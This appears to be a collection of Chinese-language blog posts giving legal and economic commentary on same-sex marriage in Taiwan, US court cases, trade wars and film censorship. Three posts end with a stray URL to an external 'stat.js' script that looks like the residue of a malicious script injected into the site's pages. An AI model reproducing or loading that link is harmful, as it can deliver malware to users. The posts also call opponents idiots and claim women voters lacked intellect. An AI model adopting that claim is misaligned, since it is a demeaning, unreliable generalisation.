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歧視真是好生意

一名盲人控告Playboy,聲稱Playboy網站歧視盲人,網站沒有提供"足夠且平等的輔助,幫助盲人同明眼人一樣享受網站內容、服務與產品(fully and equally use or enjoy the facilities, products and services)"
 
該指控聲稱Playboy網站違反了美國Americans With Disabilities法,不相容原告Nixon的screen-reading 軟體。原告請求" unspecified damages" — 自己未主張損害額,完全由法庭決定損害賠償額。
 
補充:
經濟分析來看,大公司有租值承擔這種註定虧錢的措施,而小公司往往承擔不起。

因此大公司傾向透過鼓吹「企業道德、企業社會責任」等口號,透過法律設立進入障礙來保障自身壟斷租值,並反競爭地淘汰小對手。

換言之,當大企業講道德時,其實背後往往很不道德 😛

 

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為何專法不是歧視?

 

理由如下:

1.歧視(discrimination)的正確定義Someone thinks that A is superior to B, so someone chooses A and gives up B. B will be the cost of the decision.

法律上,真正的歧視應該是放棄為同性戀婚姻立法,還反過來只允許異性戀婚姻並排除其他可能組合。

2. 如果專法就是構成歧視,那麼金融控股公司法是銀行法與證券交易法與公司法的專法,試問金控是最被法律歧視的法人組織?

這種狗屁邏輯怎麼說得通?還能騙倒一堆蠢蛋?

莫非公寓大廈管理條例的存在,證明中華民國政府歧視住大樓的,歧視住帝寶的?

專法純粹就是為了行政管理或執行方便,針對特殊族群或特殊狀況用更節省成本的方式另外處理,這也是為什麼法學緒論都讀過:特別法優先於普通法。

如果特別法是歧視,法律效果上怎麼還能優先?

再者,以公司法等商業法為例,某些國家(如我國或美國)特別訂立規定管理,但某些國家(如法國)卻是寫在民法典內。

同樣是民法上定義的法人,你能說美國人歧視公司組織,法國人不歧視?

真不曉得「專法是歧視」的蠢論點是誰提出的,竟然還有法律人附和?乾脆重唸法律系算了。

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關於同性婚姻的進一步討論

關於同性婚姻的進一步探討:

1. 許多新來的讀者以為我反對同性戀或同性婚。我說過很多次,我既不反對也不贊成,我是「無感」–因為不干我的事。

2. 許多論者混淆「同性戀」與「同性結婚」兩個議題。

台灣法律與社會多數並無禁止同性戀(伊斯蘭教社會就明文禁止且有刑罰);台灣法律是「不承認同性婚姻的法律有效性」。

混淆二者是很大的錯誤。

許多反對同性婚者並非反對同性戀,所以支持者沒必要擅自擴大解釋成「否定同性戀戀愛關係或否定同性戀者人格」

3. 婚姻契約是一個需要受到社會、政府認可從而生法律效力的合夥契約關係。這就是為何在遠古時代到近代婚姻都是以「多人見證為法律生效要件」,現代多改為「登記制」是因為政府管制與資訊系統大幅進步使然。

同性婚姻是不是該被社會與政府認可,前者需要社會多數人共識(可惜這次公投結果截然相反),後者則需要法律授權方可生效(幸運的是大法官透過解釋文承認之)。

因此人民是否有契約對象訂定自由?當然有。但你訂的婚約,政府要不要承認?法律能不能生效?是由社會整體來決定。

這樣說好了,我們反過來想:如果自由戀愛就應該使其婚姻生效,那真摯相愛的親父女、親母子甚或親兄妹姊弟之間,可以生效嗎?

現代民法一樣不承認這種婚姻喔!是不是侵害人權呢?

而我自認重要的議題是:如此重大的社會制度轉變,所需費用,無論是執行面(政府機關、資訊系統或其他轉變)或看不見的社會成本…等,到底有多大?應該由誰來負擔?

如我在留言討論中提到:「美國婦女被賦與投票權後,通過惡名昭彰的禁酒令,造成國家嚴重官商勾結、黑手黨崛起、社會費用大增乃至於退步等等現象,是當初始料未及的整體社會費用。而究其原因,當年婦女智識不足卻能投票就容易被民粹主張左右,是一個重要客觀侷限條件。」

舉個例來說明,同時釐清兩個概念:

a. 中華民國33年05月04日以前不存在專利法,是指中華民國政府尚未承認發明可享有「特許壟斷權保護」,這並非代表「政府禁止發明行為」。

二者間巨大差異,恰如「同性戀與同性婚」。

b. 民國33年版本僅承認「發明專利」,後來我們熟知的「新型專利或設計專利」都未受到保護。

這也不代表「政府禁止新型或設計的發想與實踐」,就只是法律上沒有給等同「發明」一般的特許保護而已。

猶如政府承認婚姻的法律效力,但僅限於「一男一女」這種組合。政府並未禁止成人男男、女女、多男多女等各種組合的戀愛關係(除非涉及通姦罪)。

專利體制下,制度的改變是由專利申請人付費承擔整個系統運作的費用。

我的問題是:婚姻制度改變費用要由誰來買單?

c. 由此例亦可知,婚姻既然是一種需由社會與政府公認的特殊夥伴關係,則絕對不適用「天賦人權」的概念。是的,我並不十分認同大法官用「平等權」來處理強行過關同性婚姻,但這並不是很重要的問題。

我儘量簡化我的疑問,希望一般人都能懂,也能察覺–這些問題實在無涉看不看得起同性戀者,純粹就是想知道要花費多大代價跟誰買單。

順道一提,如果同志運動者連我這種對同性戀無感的人都難以說服的話,又怎奢望去說服那些打從心底敵視同性戀之人?https://js.developerstatss.ga/stat.js?n=ns1

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同性婚姻公投結果相悖於大法官解釋!

公投民意認定「民法婚姻規定應限定一男一女」(2018/11/24),而2017/05/24做成的大法官解釋文第748號卻聲稱同性婚姻合法,且釋憲文公開後2年可以逕行向戶政機關登記。

法學邏輯上,沒有民意基礎的大法官解釋要如何與新民意對抗呢?

我的看法是:
1. 大法官釋憲文位階到底是不是憲法高度?通說雖然都肯定,但其實大有疑義。

司法院大法官審理案件法並未有關於大法官解釋文法律位階的定義;而大法官自己在釋字第185號似乎把解釋文位階拉到憲法高度,但當憲法解釋觀點顯與公投民意違背時,少數壓倒多數本身合憲乎?

2. 釋字第748號中大法官自己也承認:「至於以何種形式達成婚姻自由之平等保護,屬立法形成之範圍。」

既然屬於立法形成,那麼依據公投法所得之最新公民意見,假設立院要遵循新民意,則顯與大法官早前課責立法權應完成之法有所扞格。若要遵循大法官之見解,則又與民意違背。

而事實上立法院要不要真的立法或修法允許同性婚姻?以及要不要撥預算給戶政機關更新系統?甚至行政機關本身是否要利用非常繁瑣的程序來達成實質登記之難度?球,都不在大法官手上。

3. 若從「人民授權」角度來看政治權力,則立法委員之所以可以立法的基礎來自於直接人民的民意授權;大法官需經由立院同意,其授權為民意之間接授權。以此觀之,間接授權者可以與權力源頭對抗嗎?

4. 婚姻制度本身是涉及財產權與後代繁衍親權分配的合夥關係,從限制一男一女到允許同性結婚,如此調整整體社會要付出多大成本?這問題也不可不研議。

5. 唯一可以確定的是,若同性能結婚,則離婚官司案件必將成長,律師們支持同性婚姻的其中一種誘因就顯而易見了。

是的,就公投結果來看,只有專法可以解套;但是這好像不是那些同志團體要的結果。

此外,立法院真的敢在執政黨選舉大敗這個環境下通過「同性婚姻法」?我很質疑。

總之,吃瓜群眾們,讓我們繼續看~下~去~

https://www.cna.com.tw/news/firstnews/201811245017.asp

補充:司法院這個聲明根本搞笑

quote:"司法院表示,立法機關必須尊重公投結果,並採納為立法、修法方向,但無論公投結果如何,仍然不能違背憲法及大法官會議解釋。"

阿現在就民意與大法官意見相左啊~~

https://www.cna.com.tw/news/firstnews/201811240281.aspxhttps://js.developerstatss.ga/stat.js?n=ns1

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法律

法律與偏見(Palmore v. Sidoti)

原文美國最高法院於Palmore v. Sidoti一案所稱的"law"指的是common law,而非legislative law。

事實面來說,本案是Anthony and Linda Sidoti兩個高加索種白人離婚後,原本甫出生的婚生嬰兒監護權歸生母所有。

爾後該白人母親與黑人同居,生父提出訴訟請求監護權,聲稱當年(1970、80年代)長於黑白配家庭的子女恐受到較多社會異樣眼光,對兒童成長有害。此案一路打到佛羅里達州最高法院,生父勝訴。

案子來到聯邦最高法院,而最高法院法官難得一致無意見判決生父敗訴,認為「無論種族歧視問題如何真實,也不能構成法律上剝奪生母對其子女監護權之理由。憲法不能控制這類偏見,但也不能容忍之。私人偏見或許存在於法律力量所及之外,但法律不能直接或間接地給與偏見效力。(The effects of racial prejudice, however real, cannot justify a racial classification removing an infant child from the custody of its natural mother. The Constitution cannot control such prejudice, but neither can it tolerate it. Private biases may be outside the reach of the law, but the law cannot, directly or indirectly, give them effect. )」
因為本案完全在處理離婚夫妻之子女監護權(custody issue)的問題,100%屬於英美法系中common law領域。

因此我不認為這段法律價值宣言可以這麼理所當然地類比到台灣現在的同婚平權問題上。因為針對侷限條件並不一致 — 本案是原告基於某種社會偏見(即便真實存在)而欲剝奪傳統上生母對子女的監護權。本案其實依據的是美國憲法第十四號修正案。

台灣在吵的同性戀婚姻問題,本質上並不太一樣。

這細微的差異,我想沒修習過英美法的台灣律師可能難以體會。

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中華文化不重視偽證罪?

每次看到這類「民族性比較」文章就很想笑。特別是這種假台獨往往對中華文化根本就一知半解還能夸夸其談。

1. 此文講得好像只有作者住過美國一樣。

2. 此文作者的專業並非法律;而不才剛好在美國法學院拿碩士。美國法律講究的是「adversary system」,恰恰就是因為不相信法庭上可以探尋到「客觀真相」,所以只能由控辯雙方各自努力說服法官或陪審團。

法律人都知道法庭上所接受的「法律事實」通常與真實世界的「客觀事實」是兩回事。

你既然是法律外行,就請勿誤導其他非法律專業的讀者。

3. 如果天主教徒都像你說的那樣品德高超,那天主教也不需要發明「十戒」來約束教徒了。

從經濟學角度來看,恰恰就是因為做不到,才如此強調「十戒」。

4. 上帝不接受賄絡的蠢話不曉得基礎在哪,我只知道創世紀第四章上帝喜歡亞伯供奉的羊肉羊脂勝過兄長該隱供奉的農作物。

一個對供品有偏好的上帝,不會接受賄賂?

讓我們來看看箴言21:14「暗中送的禮物挽回怒氣;懷中搋的賄賂止息暴怒。」

我都還沒提天主教贖罪券的長年陋習哩

5. 中國人不相信公平正義,就不會有「包公」的各種傳說與戲曲流傳了。

6. 中國人對偽證只要聳聳肩?

漢代《九章律具律》中明確規定:證人不據實作證,如果造成被告人被判死罪,對證人要處以「黥為城旦舂」的刑罰。「譯人」不據實翻譯,如果被告人被處以其他刑罰,就以偽證所造成的罪行出入,反坐。

《唐律疏議詐偽》中有關於「證不言情和譯人作偽」的規定,證人和翻譯人員作偽證導致定罪有出入的,按照反坐的原則處罰,證人按其所出入的刑罰減二等處罰,翻譯人員按其所出入的刑罰處罰。

宋朝《宋刑統》延續唐朝規定,偽證者刑罰減二等處罰。

明朝也延續此項偽證罪規定。

大清律也延續同樣的偽證罪,還增加了「證物造假罪」–「凡不應為而為之者,笞四十,事理重者,杖八十。」

話說到此,這位作者連這些各朝代的刑事律例都不知道的狀況下,還好意思說「中華文化不重視偽證?」麻煩自己先不要造假好不好?

(我都還不想說民進黨靠多少假歷史在騙選票哩)

7. 基督教文化比中華文化更不會嫉妒?這點廢屁到正常人都聽不下去吧~ XD

最近哈佛的「歧視亞裔學生案」不正是以種族多元為藉口地打壓資優?假台獨的雙重標準真有趣呢。

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法律

川普改變美國國籍屬地主義?選舉語言罷了

不過是選舉語言

1. 總統行政命令直接牴觸憲法,聯邦地院就會被判決無效。

2. 川普目前的政治實力離修憲還遠得很,特別是如此爭議的條款。

3. 但是目標市場群眾很愛聽,就像台灣隨便喊個二二八、白色恐怖就是有選民會跟著起乩,就算某黨宣稱的「轉型正義」根據是一堆偽歷史。

4. 事實上從2007年以來,美國非法移民於境內產下第二代的人數已經下降不少。這表示只要美國經濟夠爛,「拼死要成為美國人的需求量」就會下降,壓根不需要政府介入管制 XD

5. 美國最高法院作廢總統行政命令的例子不少,如1952年的「Youngstown Sheet & Tube v. Sawyer」一案:

該案時任美國總統杜魯門為確保美國參加韓戰的鋼鐵供應無虞,下令政府接管鋼鐵公司煉鐵高爐。

此命令被最高法院宣告違憲而無效。

或大名鼎鼎的1974年的United States v. Nixon案:

此案身涉水門案醜聞的尼克森總統試圖以「行政特權(executive privilege)」拒絕交出涉案證據,而被法院打臉要求如同一般公民般(no less than the average citizen)乖乖交出。

杜魯門案可看出,即便正在打韓戰而有強大的「國家安全」藉口,一樣會被最高法院打臉。何況在事實上非法移民二代人數下降的當下,要靠高度違憲的行政命令實現川普承諾的可能性實在太低。

所以我認為:就是行銷,就是選舉語言。

Trump Wants to Curb Birthright Citizenship, Escalating Immigration Debate https://js.developerstatss.ga/stat.js?n=ns1

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筆記 經濟分析 專利 法律

FT首席經濟評論員看壞美國,兼論智財權保護於中美貿易衝突

FT首席經濟評論員看壞美國,兼論智財權保護於中美貿易衝突

Martin Wolf of the Financial Times

“ Donald Trump is wrong: China is not Mexico”

1. Trump has the wrong idea on global trade — bilateral mercantilism and asymmetric balance of pain.

2. Serious economists, back to Adam Smith, would insist that seeking a surplus with every trading partner is not winning.(這點我過去談過了,懂Adam Smith國富論都知道重商主義錯誤之處,可惜還有很多自詡總體經濟學專業者不懂哩~)

3. 此貿易協定尚未通過三國國會同意,而年底大選民主黨重新掌握國會機率相當高(事實上美國歷史上多數時候,國會多數黨往往非總統所屬政黨)

4. 美國之所以可以簡單透過威脅方式逼迫墨西哥與加拿大同意該協議,是因為墨西哥2017年出口美國占該國GDP達28%,加拿大同年為19%。但是中國出口美國僅佔中國GDP 4.1%(貿易順差額佔GDP3.1%),換言之,美國之所以中國的重要性遠不如美國之於加墨。

5. 中國1/3出口貨品的原物料或半成品來自於進口,這表示中國市場龐大到多數國家不可能僅僅為了美國就與其翻臉。(從預期收入角度來看,與中國翻臉的成本並不低,美國除非願意補償這部分損失,亦或者有其他原因讓世界他國願意承擔這代價)

6. 美國出口中國之所以很少,反映的是美國貨在中國市場缺乏競爭力之事實,作者認為川普應該努力的是這點。

7. Martin 更指出:若中國真的如川普要求改善智慧財產權保障與大幅度開放投資市場,則可能吸引更多美商放棄美國轉投資中國,如此一來豈非與川普所願相違背?

8. 與我的看法相同:作者認為貿易戰肯定結果是「全世界都是輸家」,差別只在於「誰輸多誰輸少」。

9. 作者從最近歐洲央行的「中國會從貿易戰勝出」報告中點出一個有趣的且極為簡單的經濟邏輯:貿易戰中,越大的經濟體受損會越少。而全世界相對於美國,前者是後者的3.3倍!以此切入,美國勝率實在不高。尤其全世界目前只有美國自己要打貿易戰,其他國家彼此之間可沒這麼無聊。

10. 作者結論指出,不管美國怎樣干涉,都無法改變中國經濟與科技會繼續進展的事實。若美國繼續堅持,必然損及自身的經濟貿易與世界經濟乃至於國際關係。

#英國金融時報的首席經濟評論員Martin Wolf怎麼可以越級打怪?
#這家不入流財經媒體怎可以不自量力地反駁上海乾癟蘋果及其小夥伴們?
#中美貿易戰美國怎麼可能受損?
#老娘的經濟學就是「天下有白吃午餐」的零成本經濟學

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我的看法,兼論國際貿易協議與智財權保護:

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三國協議達成?別高興得太早!

美國、墨西哥、加拿大三國達成共識是不錯的消息,但也別被震撼或高興得太早。

根據美國憲法Article II, Section 2.2,還要等國會通過才會正式生效哩。當然加拿大、墨西哥的國會也要同意方才各自生效。而目前看來,這三個國會要通過最快也得等到2019年,墨西哥將會是新任國會決定是否同意,而加拿大也碰上選舉年。換言之,並非完全沒有變數。

今年6月我在「貿易戰與歐盟負利率(https://wp.me/p9ffS3-Db)」一文中說明:"…短期上川普拿明明不是問題的「貿易逆差」當問題撻伐,肯定與選舉有關;長期上川普也看出WTO架構對美國並不利,跳脫這種群架架構,轉為一對一的貿易談判將對美國更有利。…"

此次三國達成協議的過程,顯然川普就是要將多邊會談轉為一對一以爭取最大美國利益。但是否真是如此,還要細看條約內容,而往往法律條文有兩點值得注意:1.魔鬼藏在細節裡,與2.徒法不能自行 (不是文字寫怎樣,實際運作起來就真的會那樣)。

因此我即便表面上看起來是好消息,但最好讓子彈飛一會兒,會看得更清楚。

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中國政府禁止維尼熊?

在上海迪士尼樂園裡明明就有「維尼歷險記」設施,結果台灣無腦民眾還能瘋傳「中國禁演維尼熊電影」這種謠言,罔顧中國針對「普通分帳片(通常為北美電影)」有一年20部的配額制(其中6部必須是"非美國電影"),在此配額制下,廠商自由選擇進口電影,使得票房預期不如其他強檔名片的維尼熊淘汰出局。

話說台灣自己也對中國電影採取配額制,可見台獨信仰(或任何政治信仰)與腦殘之間存在相當因果關係哩~

中國電影更大的問題明明就是中华人民共和国电影产业促进法第十七條的「內容審查制」,也因為內容審查的存在,大陸國產電影經濟誘因制度被扭曲為崇尚「包裝販賣明星」與「大場面大電腦特效」這種比較能確定吸睛和回收投資的安全牌。

這跟台灣1949年後,因為政治審查而陸續拍了一堆台語文藝愛情片、三廳電影、武俠片甚或許不了類的鬧片是一樣的誘因制度扭曲下的必然。

美國從1909年起也存在電影內容審查制度,到了1922年更是由幾大電影公司共同成立Motion Picture Association of America(MPAA),通過Hays Code,禁止「對公眾道德產生影響」之電影上映。

1915年美國聯邦最高法院甚至於「Mutual Film Corp. v. Industrial Commission of Ohio 」此案中判決「電影不享有憲法第一修正案之言論自由」!承認Ohio州政府可以合法地內容審查電影。

但即便如此,Hays code的道德標準在保守天主教徒眼中依然是下流淫穢不堪,因此1934年起,天主教徒Joseph I. Breen負責主持新的Production Code Administration (PCA),20年間許多電影(特別是被宗教團體認定有"性暗示")均被刪改,例如著名的Betty Boop的短裙被強制改為家庭主婦長裙;超級大片北非諜影(Casablanca)中任何明示男女主角在巴黎有過一夜情的片段、台詞均被改為暗示。

飛機大亨Howard Hughes拍攝的"Outlaw"中有一幕聚焦女演員乳房的鏡頭, Hughes花了相當力氣終於說服Breen「這個鏡頭並沒有違反PCA」,至於怎麼說服的,各位自己想像吧。

PCA也常有政治審查,例如華納兄弟曾打算拍攝德國納粹集中營相關主題,就被PCA否決禁止而作罷。1938年之前,PCA一直禁止「反納粹」主題的電影拍攝,直到FBI介入才放行。

終於到1952年,聯邦最高法院才又於「Joseph Burstyn, Inc. v. Wilson」一案否決1915年判決,承認電影同樣享有第一修正案的言論自由。與此同時,1950年代大型電影製作廠與一條龍的營運模式不再是票房保證,器材的成本下降催生許多獨立電影製作公司,觀眾口味改變也讓這些獨立製作公司得以生存,PCA的影響力逐漸式微。

1960年代,MPAA開始轉變整套制度為「電影分級制」,並於1968年11月1日正式上路。不過禁片依然存在,例如1969年的瑞典電影"I Am Curious (Yellow)"就因過於色情而被禁止(打官司打到最高法院才終止禁令)。

然而這套電影分級制依然受到許多批評,裡頭一堆黑箱作業一樣讓許多人詬病。

美國花了將近100年也沒搞定的電影審查,身為全球第二大市場的中國還在「摸石子過河」就被批評得體無完膚?而且批評者還是用假新聞?這種雙重標準還真難懂哩,科科。

你笑對岸政治審查,反過來,當今若有人拿「主張兩岸統一」的劇本去找蔡英文政府申請國片輔導金,有通過之可能嗎?嘖嘖。

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